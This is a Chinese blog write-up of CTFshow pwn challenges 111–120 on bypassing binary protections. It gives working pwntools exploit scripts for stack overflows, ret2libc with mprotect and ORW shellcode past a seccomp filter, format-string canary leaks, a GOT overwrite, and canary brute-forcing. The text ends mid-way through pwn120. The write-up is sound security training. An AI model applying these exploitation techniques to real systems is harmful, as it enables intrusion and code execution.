CTFshow-Pwn入门Bypass安全机制(111-120))

pwn111

保护:

题目说没难度,来品品,只开了NX

明显栈溢出offset = 0x80+8

还有后门函数,直接读flag的,我们栈溢出过去就好了do_global = 0x400697

1
2
3
4
5
6
7
8
9
10
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
io = remote('pwn.challenge.ctf.show', 28112)

offset = 0x80+8
do_global = 0x400697

payload = b'a'*offset + p64(do_global)
io.sendline(payload)
io.interactive()

得到flag(的确简单啊

pwn112

保护:

保护开满了几乎,看起来是不太可能硬打,根据题目说满足一定条件即可

看看IDA,发现了明显如果var[13] == 0x11的时候有好东西

还真是,只要让var[13] == 0x11,就能成功得到flag了

我直接让var这个数组里全是0x11也可以吧,写个14个就到v[13]了

写exp

1
2
3
4
5
6
7
from pwn import *
context(arch='i386',os='linux',log_level='debug')
io = remote('pwn.challenge.ctf.show',28234)

payload = p32(0x11)*0xe
io.sendline(payload)
io.interactive()

成功得到flag

pwn113

保护:

可以看到开了Full RELRO,别的都没开,应该还是个栈溢出题目

根据题目,主要是理清思路

我们拆开来好好看看这个main函数

前边都好说,logo啊什么的,在fwrite向_bss_start写入>>之后立刻fflush刷新了输出缓冲区,前边都没有啥

重点在于这里

1
2
3
4
5
6
7
8
9
10
11
v8 = 0LL;
while ( !feof(stdin) )
{
v7 = fgetc(stdin);
if ( v7 == 10 )
break;
v3 = v8++;
v6 = v3;
v5[v3] = v7;
}
v5[v8] = 0;

每次读一个字符,只要不是换行符都不会跳出循环,用v8作为下标写入v5数组,然后v8++

这个循环没有任何的长度检查,所以可以拿来构造栈溢出

但多少才会栈溢出呢,这是目前主要的一个问题

先搞明白栈结构

1
sub     rsp, 420h

可以看到,main栈帧如上

1
2
3
4
5
__int64 v3; // rax
char v5[1032]; // [rsp+0h] [rbp-420h] BYREF
__int64 v6; // [rsp+408h] [rbp-18h]
char v7; // [rsp+417h] [rbp-9h]
__int64 v8; // [rsp+418h] [rbp-8h]

而这是局部变量的分布

因此栈布局大概是这样子的

1
2
3
4
5
6
7
8
9
10
低地址
[rbp-0x420] v5 缓冲区开始
...
[rbp-0x18] v6
[rbp-0x10] padding
[rbp-0x9] v7
[rbp-0x8] v8
[rbp+0x0] saved rbp
[rbp+0x8] return address
高地址

我们写入的在v5,索引在v8

1
(rbp-0x8) - (rbp-0x420) = 0x418

也就是说我们在输入第0x418个字节的时候,输入的东西会碰到v8

1
(rbp+0x8) - (rbp-0x420) = 0x428

同理继续往下写的话写到0x428就是saved RIP的地址

我们看汇编可以看到这边的逻辑

1
2
3
4
5
rax = v8
v8 = v8 + 1
v6 = old v8
buf + old v8
最后写入当前字符

所以我们要先取old v8,然后再把这个v8自增,再用old v8作为写入的位置

可以想到,当我写入第0x418个字节的时候

old v8 = 0x418

然后这个时候处理第0x419个字节

会先把v8+1,变成0x419,之后再把这个字节写到v5[0x418]去

而我们刚刚算过,这个v5[0x418]就是v8的最低字节啊

如果这个时候我们写入的是0x28这个字节的话

我们的v8就从0x419直接变成了0x428

1
0x0000000000000419 --> 0x0000000000000428

于是下一次写入就到了0x428,而这是saved RIP的偏移,所以直接就写到返回地址上了,不会一路给这个栈全创飞

1
2
3
4
5
6
7
8
9
10
11
if ( (unsigned int)init(v5) )
{
qsort(files, size_of_path, 0x200uLL, cmp);
search_file_info();
}
else
{
fflush(_bss_start);
set_secommp();
}
return 0;

之后就是main的后半段了

这边是两个分支

一个是init成功了,即输入的是普通文件的话就把文件名和路径存到files,返回1

如果是目录就遍历目录放到files然后返回1

另一个是init失败了,输入路径不存在,那就报0

而我们刚刚的payload明显不是个路径啊,所以走的是失败的这条路,也就是在返回前先set_secommp()

来好好看看这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
int set_secommp()
{
__int16 v1; // [rsp+0h] [rbp-50h] BYREF
__int16 *v2; // [rsp+8h] [rbp-48h]
__int16 v3; // [rsp+10h] [rbp-40h] BYREF
char v4; // [rsp+12h] [rbp-3Eh]
char v5; // [rsp+13h] [rbp-3Dh]
int v6; // [rsp+14h] [rbp-3Ch]
__int16 v7; // [rsp+18h] [rbp-38h]
char v8; // [rsp+1Ah] [rbp-36h]
char v9; // [rsp+1Bh] [rbp-35h]
int v10; // [rsp+1Ch] [rbp-34h]
__int16 v11; // [rsp+20h] [rbp-30h]
char v12; // [rsp+22h] [rbp-2Eh]
char v13; // [rsp+23h] [rbp-2Dh]
int v14; // [rsp+24h] [rbp-2Ch]
__int16 v15; // [rsp+28h] [rbp-28h]
char v16; // [rsp+2Ah] [rbp-26h]
char v17; // [rsp+2Bh] [rbp-25h]
int v18; // [rsp+2Ch] [rbp-24h]
__int16 v19; // [rsp+30h] [rbp-20h]
char v20; // [rsp+32h] [rbp-1Eh]
char v21; // [rsp+33h] [rbp-1Dh]
int v22; // [rsp+34h] [rbp-1Ch]
__int16 v23; // [rsp+38h] [rbp-18h]
char v24; // [rsp+3Ah] [rbp-16h]
char v25; // [rsp+3Bh] [rbp-15h]
int v26; // [rsp+3Ch] [rbp-14h]
__int16 v27; // [rsp+40h] [rbp-10h]
char v28; // [rsp+42h] [rbp-Eh]
char v29; // [rsp+43h] [rbp-Dh]
int v30; // [rsp+44h] [rbp-Ch]
__int16 v31; // [rsp+48h] [rbp-8h]
char v32; // [rsp+4Ah] [rbp-6h]
char v33; // [rsp+4Bh] [rbp-5h]
int v34; // [rsp+4Ch] [rbp-4h]

prctl(38, 1LL, 0LL, 0LL, 0LL);
v3 = 32;
v4 = 0;
v5 = 0;
v6 = 4;
v7 = 21;
v8 = 0;
v9 = 5;
v10 = -1073741762;
v11 = 32;
v12 = 0;
v13 = 0;
v14 = 0;
v15 = 53;
v16 = 0;
v17 = 1;
v18 = 0x40000000;
v19 = 21;
v20 = 0;
v21 = 2;
v22 = -1;
v23 = 21;
v24 = 1;
v25 = 0;
v26 = 59;
v27 = 6;
v28 = 0;
v29 = 0;
v30 = 2147418112;
v31 = 6;
v32 = 0;
v33 = 0;
v34 = 0;
v1 = 8;
v2 = &v3;
return prctl(22, 2LL, &v1);
}

可以发现这是个过滤器,先回检查体系是不是x86_64的

然后检查syscall number,核心只拦了一个syscall–>59=execve

所以我们不能用execve,而system也会走到这个execve

所以不能用system,我们只能直接ORW读/flag

ROP链上来先利用栈溢出,通过puts函数泄露地址最后泄露libc

之后就能求到libc基址了

1
2
3
4
5
puts_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr-libc.dump('puts')
mprotect_addr = libc_base+libc.dump("mprotect")
gets_addr = libc_base+libc.dump("gets")

因为mprotect函数需要三个参数所以我们要走rdi、rsi和rdx三个寄存器

第二阶段就是利用mprotect来把.bss这个段变成可执行的

1
2
3
4
payload = b"A"*0x418+p8(0x28)+p64(pop_rdi_ret)+ p64(data)
payload += p64(gets_addr)+p64(pop_rdi_ret)+p64(data)
payload += p64(pop_rsi)+p64(0x1000)+p64(pop_rdx)
payload += p64(7)+p64(mprotect_addr)+ p64(data)

其实是先gets(data),然后mprotect(data,0x1000,7)

最后跳到data,作为返回地址跳到0x603000

为了最后绕过seccomp,我们最后用这个,不用碰execve

1
2
getflag = asm(shellcraft.cat("/flag"))
io.sendline(getflag)

写得exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
from LibcSearcher import *

context(os='linux', arch='amd64', log_level='debug')

io = remote("pwn.challenge.ctf.show", 28271)
elf = ELF('./pwn113')

# binary gadgets / symbols
pop_rdi_ret = 0x401ba3 # misaligned gadget from __libc_csu_init
puts_plt = 0x400BD0
puts_got = elf.got['puts']
main_addr = elf.sym['main']

# page-aligned writable address for shellcode
data = 0x603000

# --------------------------
# stage 1: leak puts@libc
# --------------------------
io.recvuntil(b'>> ')

payload = b'A' * 0x418
payload += p8(0x28) # overwrite low byte of v8: 0x419 -> 0x428
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)

io.sendline(payload)

puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
log.success(f"puts_addr = {hex(puts_addr)}")

libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump("puts")
gets_addr = libc_base + libc.dump("gets")
mprotect_addr = libc_base + libc.dump("mprotect")

# gadgets in matched libc
pop_rdx_ret = libc_base + 0x1b96
pop_rsi_ret = libc_base + 0x23e6a

log.success(f"libc_base = {hex(libc_base)}")
log.success(f"gets = {hex(gets_addr)}")
log.success(f"mprotect = {hex(mprotect_addr)}")

# --------------------------
# stage 2: gets(data); mprotect(data,0x1000,7); jump data
# --------------------------
io.recvuntil(b'>> ')

payload = b'A' * 0x418
payload += p8(0x28)
payload += p64(pop_rdi_ret)
payload += p64(data)
payload += p64(gets_addr) # gets(data)

payload += p64(pop_rdi_ret)
payload += p64(data)
payload += p64(pop_rsi_ret)
payload += p64(0x1000)
payload += p64(pop_rdx_ret)
payload += p64(7)
payload += p64(mprotect_addr) # mprotect(data, 0x1000, 7)

payload += p64(data) # jump to shellcode

io.sendline(payload)

# ORW shellcode: open/read/write /flag
sc = asm(shellcraft.cat("/flag"))
io.sendline(sc)

io.interactive()

直接就读出来了

pwn114

现在我应该学会了…吗?

大概就是bypass旁路绕过一些保护的意思吧,我们来看看这一题

保护:

保护是开了不少,怪唬人的,按题目意思是可以绕过

定位main函数,这边有一个flagishere函数

也就是说一开始就把flag读好了,但是呢不输出存起来了,继续回到main函数

之后是这个signal函数,这是一个崩溃处理函数

就是说如果我们发生了SIGSEGV段错误,就会执行这个sigsegv_handler函数

所以只要段错误就直接读flag了

main函数里边就是问你会不会绕过Canary,不会就结束,必须选择会

会了之后fgets开始读取输入字符了,最多读999字节(留一个给\0

读取的内容会存到s

而打开ctfshow函数

会发现ctfshow这个函数会把接收到的参数复制到dest,而dest只能读0x100+8个字节,随后即溢出

所以很容易构成栈溢出,一开始选择Yes之后写100个字节就自动溢出了,那就段错误了,就直接被signal发现跳flag出来了

1
2
3
4
5
6
7
8
9
10
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
io = remote('pwn.challenge.ctf.show',28121)
io.sendlineafter(': \n','Yes')

offset = 0x100+8
payload = b'a'*offset

io.sendlineafter('Tell me you want: \n',payload)
io.interactive()

得到flag

pwn115

OK开始学Bypass的一些姿势了,先看保护:

只开了一个Canary和NX

主要应该就是绕过这个Canary构造栈溢出然后打,我们看看main函数

可以看到内容短的很啊,就是循环往buf写入0x200的内容,而后边还会printf(buf)

明显存在个格式化字符串的漏洞

先按照惯例算一下参数位置

1
AAAA.%p %p %p %p %p %p %p %p %p %p

发现是第五位

那我们的目标其实蛮明确的吧,就是要去找到Canary的位置,最后绕过检验,直接栈溢出之后改掉,然后逃过Canary

可以看到,buf在ebp-0xD4,而canary在ebp-0xC

所以距离为

1
0xD4-0xC = 0xC8

在32位程序中,一个栈帧为4字节,所以中间隔了0xC8/4 = 50个4字节单位

刚刚算出来了参数位置是第五位

所以最后是第55位为栈的地址

%55$p

知道位置了我们就能将其泄露出来了,前边放个abcd之类的标记记录一下,之后直接recv截取即可

存在直接的后门,直接抓就好了

backdoor = 0x080485A6

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(arch='i386',os='linux',log_level='debug')
io = remote('pwn.challenge.ctf.show',28170)
backdoor = 0x080485A6

payload1 = b'abcd'+b'%55$p'
io.sendline(payload1)
io.recvuntil(b'abcd0x')
canary = int(io.recv(8),16)

payload2 = b'a'*(0xD4-0xC)+p32(canary)+b'a'*0xC+p32(backdoor)
io.sendline(payload2)
io.interactive()

总的来说,就是先走到Canary面前,给它自己原来的样子,然后再往后走0xC走到返回地址面前,把backdoor的地址塞进去,我们就返回到那边了

成功绕过canary栈溢出得到flag

pwn116

继续学习别的绕过姿势

保护:

继续来看

读两次buf,这中间不是还是格式化字符串漏洞吗,读两次然后检测Canary

和pwn115的唯一区别就是只能读两次了,下边118甚至只能读一次了

后门也还在backdoor = 0x08048586

先测参数位置吧

1
AAAA.%p %p %p %p %p %p %p %p %p %p

第7位

看看栈结构

2C到C

也就是

1
2
0x2C-0xC = 0x20
0x20/4 = 8

再第七位,也就是8+7=15了

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(arch='i386',os='linux',log_level='debug')
io = remote('pwn.challenge.ctf.show',28265)
backdoor = 0x08048586

payload1 = b'abcd'+b'%15$p'
io.sendline(payload1)
io.recvuntil(b'abcd0x')
canary = int(io.recv(8),16)

payload2 = b'a'*(0x2C-0xC)+p32(canary)+b'a'*0xC+p32(backdoor)
io.sendline(payload2)
io.interactive()

得到flag

pwn117

保护:

保护上没啥变化,但是变成64位了

上来直接自己读了/flag然后放在fd了

接着又从fd读了0x100个字节到buf

说是给我们省时间了,当然了,直接给我们放在buf了

后边是一个gets函数,存在栈溢出

而最后也存在Canary,这一题如果按正常思路打是打不通的,因为拿不到Canary

我们仔细看看这个Canary,就是这个__stack_chk_fail

这边利用栈溢出时我们不需要拿 shell,而是故意继续覆盖,破坏 canary 并进一步改写启动栈上glibc 使用的 __libc_argv[0]

随后我们构造栈溢出,检测到栈被覆盖,程序在返回前触发 __stack_chk_fail

可以看到在旧版 glibc 中,这条报错路径会把 __libc_argv[0] 按字符串打印出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
eglibc-2.19/debug/stack_chk_fail.c

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}

void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminatedn",
msg, __libc_argv[0] ?: "<unknown>");
}

因此我们可以把它改成 .bss 段中 buf 的地址 0x6020A0,从而把其中的 flag 当作字符串泄露出来。glibc 后续版本已经修补了这一行为,所以本地新环境未必能复现同样输出。

1
2
3
4
5
6
7
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
io = remote('pwn.challenge.ctf.show',28271)

payload=b"a"*504+p64(0x6020A0)
io.sendline(payload)
io.interactive()

pwn118

保护:

32位,开了Canary和NX,但是是No RELRO

我们打开看看

有点像pwn115啊,格式化字符串漏洞

1
AAAA.%p %p %p %p %p %p %p %p %p %p

参数位置在第7位

后门也准备好了

但是这一题和pwn115以及pwn116还是不太一样的,因为这一题只能运用一次格式化字符串了,而我们之前的脚本都是运行两次的,我们必须修改思路

这边注意到这一题的特性,即No RELRO,我们可以直接劫持修改GOT表的

既然了解到最后一定会遇到___stack_chk_fail,我们其实可以直接把这个函数改成get_flag这个函数

直接利用格式化字符串漏洞改写___stack_chk_fail

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(arch='i386',os='linux',log_level='debug')
io = remote('pwn.challenge.ctf.show',28160)
elf = ELF('./pwn118')

stack_chk_fail_local = elf.got['__stack_chk_fail']
get_flag = elf.sym['get_flag']

payload = fmtstr_payload(7,{stack_chk_fail_local:get_flag})
payload = payload.ljust(0x50,b'A')
io.sendline(payload)
io.interactive()

得到flag

pwn119

姿势路漫漫

保护:

可以看到这边main函数用了一个无限循环的父进程,调用fork来创建子进程

父进程会返回子进程的PID导致跳过break,在那边wait(0),直到子进程结束再开始下一次循环

而子进程则是返回0,break,然后进入ctfshow()函数

ctfshow函数也是很明显的一个Canary栈金丝雀

这边先是把内存区域s的内容全部设置为0,清除s

之后让我们往s里边写东西,最后puts出来

我们可以直接构造栈溢出来试探Canary的值,之后崩溃就崩溃,反正会再创新的子进程

我们知道Canary通常是四字节,而且第一字节为了防止泄露一般都是\x00

所以爆破数量不大,我们尝试爆破,每次走到那边试一下,不对就炸,炸完再试

因为是同一个进程,canary是一样的

爆破就好了,爆破到了后门就在这边了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context(arch='i386',os='linux',log_level='debug')
io = remote('pwn.challenge.ctf.show',28171)
elf = ELF('./pwn119')
backdoor = 0x08048636

canary = b'\x00'
for _ in range(3):
for j in range(256):
payload = b'a'*(0x70-0xC) + canary + p8(j)
io.send(payload)
sleep(0.3)
if b"stack smashing detected" not in io.recv():
canary += p8(j)
break

payload = b'a'*(0x70-0xC) + canary + b'a'*0xc + p32(backdoor)
io.send(payload)
io.interactive()

一个个爆,爆到一个加一个爆到一个加一个

最后会返回这个报错的,我们检测不到这个就加,然后慢慢补齐就好了

爆半天终于好了

得到flag

pwn120

保护:

这题变成Full RELRO了

开始玩线程了吗,正好操作系统一天到晚玩这个

可以看到上来先声明了一个大小为2的线程ID数组,之后说了实际线程存在newthread[0]里边

而newthread[1]里存的则是栈保护值

之后开始工作,pthread_create(newthread, 0LL, start, 0LL);

创一个新线程,入口函数为start,然后不传递参数

之后一直等这个线程结束

所以我们去start看看,毕竟入口函数在start

每一步都有栈检测

上来清空s

之后一直到v2 = lenth(),看看这是什么

栈保护开死,然后输入最多8个字符到s,还会把字符串转化为long类型

如果我们的v2<=0x5000,就会进行读取,读取v2个字符到s

最后返回atol(s),然后是readn(0LL, s, v2);

这个readn也不简单


CTFshow-Pwn入门Bypass安全机制(111-120))
https://mei-you-qian.github.io/2026/04/10/Bypass安全机制/
作者
Meiyouqian
发布于
2026年4月10日
许可协议